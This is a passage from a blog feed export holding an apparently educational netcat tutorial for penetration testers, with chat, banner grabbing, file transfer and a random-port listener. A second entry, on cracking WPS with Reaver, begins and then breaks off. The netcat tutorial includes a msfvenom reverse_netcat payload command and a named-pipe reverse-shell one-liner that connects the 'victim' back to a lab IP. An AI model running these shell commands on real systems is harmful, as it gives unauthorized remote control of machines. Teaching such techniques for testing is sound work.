&lt;p&gt;IP might be changed, you can put your own system IP&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2023/09/reaver-wps-wifi-cracker-tool.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Netcat techniques for penetration testers&quot;
      border=&quot;0&quot;
      data-original-height=&quot;241&quot;
      data-original-width=&quot;516&quot;
      height=&quot;298&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDnx14CMcJSMousmSynbPaeW8XRo6TtkEgKC1HGjjLdEWQQW-tDatqJ_6MDV1nhccKdD-EetFlrbRuvnU9yiCh2ozHUTyUuj9056AzJj3-7XUE-ax6_k_pyR-RX95wApX0G0HsoigwctjhQXBOhB65UWQPy-JsAhsb_5mpUX2eW6hlFFhfqsgFvEzognXb/w640-h298/2.png&quot;
      title=&quot;Netcat techniques for penetration testers&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;3523395111&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Chatting&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Netcat can also be used to chat between two users but before that we need to
  establish the connection. To set up this all, we&#39;ll be using two devices - one
  will play the role as an initiator and the other one will be a listener.&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  You can use with two different users operating system communicate with each
  other over a netcat establish connection within the same network but now at
  this time we will using same system terminal.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;nc -lvp 4444&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;Here,&lt;/p&gt;
&lt;p&gt;[l] - listen mode&lt;/p&gt;
&lt;p&gt;[v] - Verbose mode&lt;/p&gt;
&lt;p&gt;[p] - Local port&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Now its time to set up an initiator.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;nc 192.168.19.100 4444&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  From the below you can see that connection has been setup and both are now
  able to communicate with each other.
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2023/09/reaver-wps-wifi-cracker-tool.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Netcat techniques for penetration testers&quot;
      border=&quot;0&quot;
      data-original-height=&quot;385&quot;
      data-original-width=&quot;612&quot;
      height=&quot;402&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCZccnTgbTvz-jMeTKWFyI38NhAIfr7o8pyq_oRaW1NQLB1YPzztawj_sUTo9T2UDaDxReqeQpS573rTrfwAvZ6tFhQXm5wLgoZ3ebS_SXQaOVo2ZPkvc8fvfcP4VZOTWW-2dxiJVpZzkH3XXanb6IY6cLEmUUQGaVDz7UPrXq3MODYcrjKtURZmC5U8w1/w640-h402/3.png&quot;
      title=&quot;Netcat techniques for penetration testers&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2023/09/reaver-wps-wifi-cracker-tool.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Netcat techniques for penetration testers&quot;
      border=&quot;0&quot;
      data-original-height=&quot;423&quot;
      data-original-width=&quot;625&quot;
      height=&quot;434&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghciLbWyl2g4MfK036PP1xGEiCPUO_bk7Ynk3FuoRbkqGUHe0qZlyY3sg6-dX6_k7sg6Wh2xebNXQZ9RxNKvAXxLm4w1zap15kIbKEV9QmbPTxYFw4PqxjcmZoFoWzX49GILVt0a67KPh17pzsBCPUCPIjP1j_OwDTA7JlyFm7udOnQzgAGWkIs-zmgBld/w640-h434/4.png&quot;
      title=&quot;Netcat techniques for penetration testers&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Banner Grabbing&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Banner refers to a text message received from the host with information about
  the open ports and services along with their version numbers
&lt;/p&gt;
&lt;p&gt;Run the following command to grab the information&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;nc 192.168.19.100 22&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2023/09/reaver-wps-wifi-cracker-tool.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Netcat techniques for penetration testers&quot;
      border=&quot;0&quot;
      data-original-height=&quot;179&quot;
      data-original-width=&quot;520&quot;
      height=&quot;220&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKY4L4RmdhZ1p1Cp6qJ6zC7tg4MsXtTJVd1hFj50i5rClk1Co-ziNlGTYLzyfAZlWvmwes2gJ9sgKfwiXuhejxdoQD9cjq7SFkL1GA846Ml7AlgD9dfOOVG9P0FMgMtRh92WwpzF5wJGUf7jwjqt6wr1vaooD8OvWrIezOgNnWXxPsX6z11AHSvt-W_hwx/w640-h220/5.png&quot;
      title=&quot;Netcat techniques for penetration testers&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;File Transfer&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2023/09/reaver-wps-wifi-cracker-tool.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Netcat techniques for penetration testers&quot;
      border=&quot;0&quot;
      data-original-height=&quot;700&quot;
      data-original-width=&quot;891&quot;
      height=&quot;502&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKPfXL94zg1_P7D0LPUM66_U2UX8ey-rsj5PPEkzUrHtLjvqxHmAA92c0H2RLKxah_uUIgTD6UH8wT0ZazEq2zXd82fAJ-trnQUU930u0hO3QkMCvfy3LeEK2WOA7MimjBWLFymvxpdaSqEfFdVd9ggx6Y6ypMCuc6-SzwFYF90AaTSPhmZ8AcPJxg5JZc/w640-h502/6.png&quot;
      title=&quot;Netcat techniques for penetration testers&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;1273147351&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
Netcat offers us an opportunity to transfer files from one device to another
over a network. Let&#39;s follow the scenario, where a kali users exempts to
transfer his files to a user at an linux machine
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  From the below image and line of command over the kali machine sets up a
  listener at port number 4444, and shares fileone.txt&amp;nbsp; &quot;&lt;b&gt;&amp;lt;&lt;/b&gt;&quot;
  parameter.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;nc -lvp 4444 &amp;lt; fileone.txt&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  and you can see that the linux user has successfully grabbed the fileone.txt
  file from 192.168.19.100 which is nothing but kali user&#39;s &lt;b&gt;IP&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Linux Reverse Shell&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  As earlier discuss netcat can perform anything, so now will be exploit the
  target&#39;s machine with the help of &quot;&lt;b&gt;msfvenom&lt;/b&gt;&quot; to create a payload and
  will set up a netcat listener to grab a session.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;msfvenom -p cmd/unix/reverse_netcat lhost=192.168.19.100 lport=4444 R&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  The &quot;&lt;b&gt;R&lt;/b&gt;&quot; flag is used to generate a raw payload which will be over our
  screen.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2023/09/reaver-wps-wifi-cracker-tool.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    &gt;&lt;img
      alt=&quot;Netcat techniques for penetration testers&quot;
      border=&quot;0&quot;
      data-original-height=&quot;214&quot;
      data-original-width=&quot;941&quot;
      height=&quot;146&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnOkcyYbNQWuwrg7KtmeqNqUmYT9V9oPmsHnUkamQ_Z-dK-LunkEtXGc5Q7T3wDrdv9QNBNCPCzOhsjkhHmLN2kWkWrC_AAJQFGh-wAvYGNIEAHmdji97EXTFfSVpjfwkay24FqbVovq38QI8gl8J9jUhTp0HFHW8WLgcy5PaycJYSP3oMBTecm6HxXzJx/w640-h146/7.png&quot;
      title=&quot;Netcat techniques for penetration testers&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  From the above image you can see that our &lt;b&gt;payload&amp;nbsp;&lt;/b&gt;&amp;nbsp;is ready.
  Now its time to trigger&amp;nbsp; it over victim&#39;s server.
&lt;/p&gt;
&lt;p&gt;
  Open the another machine if you have otherwise we will use in same machine but
  another terminal screen and type this payload in the terminal. Before firing
  it up. get back to the attacker&#39;s machine (kali linux) and setup the netcat
  listener over there by using the same port number that you used while
  generating the payload.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  from the below image you can see that, as soon as the victim runs the payload,
  we&#39;ll get the session.
&lt;/p&gt;
&lt;p&gt;
  There are many times when the security gets high and we fail to grab the
  session using this method, but there is another way to get a reverse shell.
&lt;/p&gt;
&lt;p&gt;Before that set up a listener at port 443.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2023/09/reaver-wps-wifi-cracker-tool.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Netcat techniques for penetration testers&quot;
      border=&quot;0&quot;
      data-original-height=&quot;403&quot;
      data-original-width=&quot;976&quot;
      height=&quot;264&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipKR5vHBFWiMnlh8_VOH-6S5za5y39gjlmF_CqzaeGtHOzw5qkR8u3GqjnCPor81glHSqxjl4j_DN_4toJ-5VPuYnw3laizZovwMfENK0AEAQ5vOCuN7V2shOOK7PPAiB3PyMb5G4qkk5E4M_xvXtPP16aRs4wMkg_6r_iLeVoVeJ34iB43nkwhABaZ9pc/w640-h264/8.png&quot;
      title=&quot;Netcat techniques for penetration testers&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;/p&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  as the listener boots in just execute the commands in the target&#39;s machine :
&lt;/p&gt;
&lt;p&gt;This help you to the bypass the security and offer you a netcat session.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;mknod /tmp/backpipe p&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b
    &gt;/bin/sh 0&amp;lt;/tmp/backpipe | nc 192.168.19.100 4444&amp;nbsp;
    1&amp;gt;/tmp/backpipe&lt;/b
  &gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2023/09/reaver-wps-wifi-cracker-tool.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Netcat techniques for penetration testers&quot;
      border=&quot;0&quot;
      data-original-height=&quot;609&quot;
      data-original-width=&quot;965&quot;
      height=&quot;404&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg99eQrrNTquzyhmOTtJooHGH97g2TKPJHsifI1In1tfi6cGU_qE371jrWVp7QKL5ZxUFS7ErU6yjJ4ztnf5ezzT8BYMJV1xIPMxp-YE87X0rYAlkGRULBtiSOP5h7qsAYlInKXo3kgSeiaIWWdx7YP0sbXuFx9NdpEgZLnZl3o5JpfkS8woQXhqxOV_S73/w640-h404/9.png&quot;
      title=&quot;Netcat techniques for penetration testers&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;!-- sep  2024 --&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;2642069341&quot;
     data-ad-format=&quot;auto&quot;
     data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Randomized Port&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  There are chances when we aren&#39;t able to decide the very own port to setup a
  listener or to establish a netcat connection. Well netcat has a special
  &quot;&lt;b&gt;-r&lt;/b&gt;&quot; flag which will provide us with the randomized local port.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;nc -lv -r&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2023/09/reaver-wps-wifi-cracker-tool.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Netcat techniques for penetration testers&quot;
      border=&quot;0&quot;
      data-original-height=&quot;170&quot;
      data-original-width=&quot;563&quot;
      height=&quot;194&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnYt9YFM4fDXxbpnnZnkmCHfjYzYPDCbhaMGfYWgGqRXzt_YUOMfAGTS-pTyyblWMCXt4Jy4gHoPMBwJwdW_Y-xEsI3sBBNK-b1mGoxmO-gE6IECe6ARVVNwzR43Ze49izoGnm8CnhtG3bdZYSTr8IwYNySKIFO8_Dhw0_Y-7AjGrygD9fYDId-qXwupLw/w640-h194/10.png&quot;
      title=&quot;Netcat techniques for penetration testers&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;
  from the above image you can see that our listener has been started at
  &lt;b&gt;45811&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Grabbing the HTTP Banner&lt;/h4&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  HTTP banner are now can&#39;t be fetched easily, as they contain the server&#39;s
  information. But we can use netcat to capture information about any webserver.
&lt;/p&gt;
&lt;p&gt;
  Simply run the following command in order to manipulate&amp;nbsp; the target&#39;s
  server and check what we have grabbed.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;printf &quot;GET / HTTP/1.0\r\n\r\n&quot; | nc 192.168.19.100 80&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in/2023/09/reaver-wps-wifi-cracker-tool.html&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;Netcat techniques for penetration testers&quot;
      border=&quot;0&quot;
      data-original-height=&quot;525&quot;
      data-original-width=&quot;1132&quot;
      height=&quot;296&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYa7wfWy00zyYx52ftTn_xO9x9t9_bMjYsgumyl4-xoT56ZiJVVbdWnEhBxMrnwWwr3gGT_zLrif2TFB29ydwVJUmGa1Oxj0aBuW0aM31Y0W6flt6RquyVhhojcZqCu6IIIjDT6Vhg39IzgQ9IxU2nHmS2rpfqDRJjq26EQqPDyrwWvIpr9cQFZbNFtY71/w640-h296/11.png&quot;
      title=&quot;Netcat techniques for penetration testers&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Great! from the above image you can see that I&#39;ve successfully captured the
  HTTP banner and we are presented with the &lt;b&gt;apache server&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;br /&gt;&lt;/p&gt;
&lt;h4&gt;Disclaimer&lt;/h4&gt;
&lt;p&gt;
  All tutorials are for informational and educational purposes only and have
  been made using our own routers, servers, websites and other vulnerable free
  resources. we do not contain any illegal activity. We believe that ethical
  hacking, information security and cyber security should be familiar subjects
  to anyone using digital information and computers. Hacking Truth is against
  misuse of the information and we strongly suggest against it. Please regard
  the word hacking as ethical hacking or penetration testing every time this
  word is used. We do not promote, encourage, support or excite any illegal
  activity or hacking.
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='https://www.hackingtruth.in/feeds/4190143603006467439/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.hackingtruth.in/2024/09/netcat-techniques-for-penetration.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/4190143603006467439'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/1111476952972289330/posts/default/4190143603006467439'/><link rel='alternate' type='text/html' href='https://www.hackingtruth.in/2024/09/netcat-techniques-for-penetration.html' title='Netcat techniques for penetration testers '/><author><name>Hacking Truth</name><uri>http://www.blogger.com/profile/16485635514447355049</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_X6UXEpZXNucqD5_R3kFBzDvg_owleq6EYNuCLPfwDCDNRH22NF7JyBjRQEEzzopGQV2vIZJ_9sg1mRKKblWC63o4D_fZf4DyodqhKDZT68FgGwQRVZlN1iveGBLsOhs/s113/slogan-changes-position.png'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_BmnxlJscE2Q3UMGnoHAaEMsABnp8JBQ1iGty31gcKF3R8mGzUS1froiBEeMsQKgsX-i2jlfQfj00DOnwL7D_ggie-nDn2mQ5fUMBJ5QkkEfZXzvbeGyzJmpRegX-57p_tzCoWx6M1lwjslo5sF7sd888j6k5_ivMtQI8mNW0no-2rV5znfkt0335o0qY/s72-w640-h360-c/netcat.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1111476952972289330.post-3125929089857473219</id><published>2023-09-03T05:24:00.005-07:00</published><updated>2023-09-03T05:24:54.229-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Brute Force Attack"/><category scheme="http://www.blogger.com/atom/ns#" term="Cyber Security"/><category scheme="http://www.blogger.com/atom/ns#" term="ethical hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Networking"/><category scheme="http://www.blogger.com/atom/ns#" term="sniffing"/><category scheme="http://www.blogger.com/atom/ns#" term="wifi hack"/><category scheme="http://www.blogger.com/atom/ns#" term="wireshark"/><category scheme="http://www.blogger.com/atom/ns#" term="wps"/><title type='text'>reaver WPS wifi Cracker tool</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
    href=&quot;https://www.hackingtruth.in&quot;
    style=&quot;margin-left: 1em; margin-right: 1em;&quot;
    target=&quot;_blank&quot;
    &gt;&lt;img
      alt=&quot;reaver WPS Cracker tool&quot;
      border=&quot;0&quot;
      data-original-height=&quot;1080&quot;
      data-original-width=&quot;1920&quot;
      height=&quot;360&quot;
      src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1KRhXTy8Z4YgswEp6wmKmCUsPydkORo1IkJhfSTXv6M2y9nqYC599SQ7ZzcrmoJDeQUU1_DBH8soME_1KKXP5B1eHDuJtldTqcggTcvOabJiQ6Dohxm0HArzA7s1OjGzQc6u22w_bzDf_xMZzCjOPHVq300PeSWjzC4cUCLKp0L-KSyzTZYu_F-mq4Qsa/w640-h360/reaver%20WPS%20Cracker%20tool.png&quot;
      title=&quot;reaver WPS Cracker tool&quot;
      width=&quot;640&quot;
  /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&amp;nbsp;
&lt;p&gt;&lt;/p&gt;
&lt;h4 style=&quot;text-align: left;&quot;&gt;Reaver WPS Cracker tool&lt;/h4&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;i&gt;Reaver&lt;/i&gt;&lt;/b&gt; is a popular open-source tool used for cracking Wi-Fi WPS
  (Wi-Fi Protected Setup) keys. It&#39;s commonly used for penetration testing and
  security assessments to test the vulnerability of Wi-Fi networks.
  &lt;i&gt;&lt;b&gt;Reaver&lt;/b&gt;&lt;/i&gt; is&lt;b&gt; pre-installed on Kali Linux&lt;/b&gt;, a popular Linux
  distribution for&lt;b&gt;&lt;i&gt; penetration testing&lt;/i&gt;&lt;/b&gt; and&lt;b
    &gt;&lt;i&gt; ethical hacking&lt;/i&gt;&lt;/b
  &gt;. However, it&#39;s important to note that using &lt;i&gt;Reaver &lt;/i
  &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Here are some basic instructions on how to use Reaver on
  Kali Linux:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&amp;nbsp;&lt;br /&gt;1. &lt;/b&gt;Open a Terminal: Launch a terminal on your Kali Linux
  system.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2.&lt;/b&gt; Check Your &lt;b&gt;Wi-Fi Adapter&lt;/b&gt;: Make sure your
  &lt;b&gt;&lt;i&gt;wireless network adapter &lt;/i&gt;&lt;/b&gt;supports monitor mode and
  &lt;b&gt;&lt;i&gt;packet injection&lt;/i&gt;&lt;/b
  &gt;. You can check your &lt;i&gt;&lt;b&gt;wireless&lt;/b&gt;&lt;/i&gt; interfaces by running:
&lt;/p&gt;
&lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;
     crossorigin=&quot;anonymous&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot;
     style=&quot;display:block; text-align:center;&quot;
     data-ad-layout=&quot;in-article&quot;
     data-ad-format=&quot;fluid&quot;
     data-ad-client=&quot;ca-pub-5520475398835856&quot;
     data-ad-slot=&quot;5920726694&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;cmd - iwconfig or ifconfig&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a
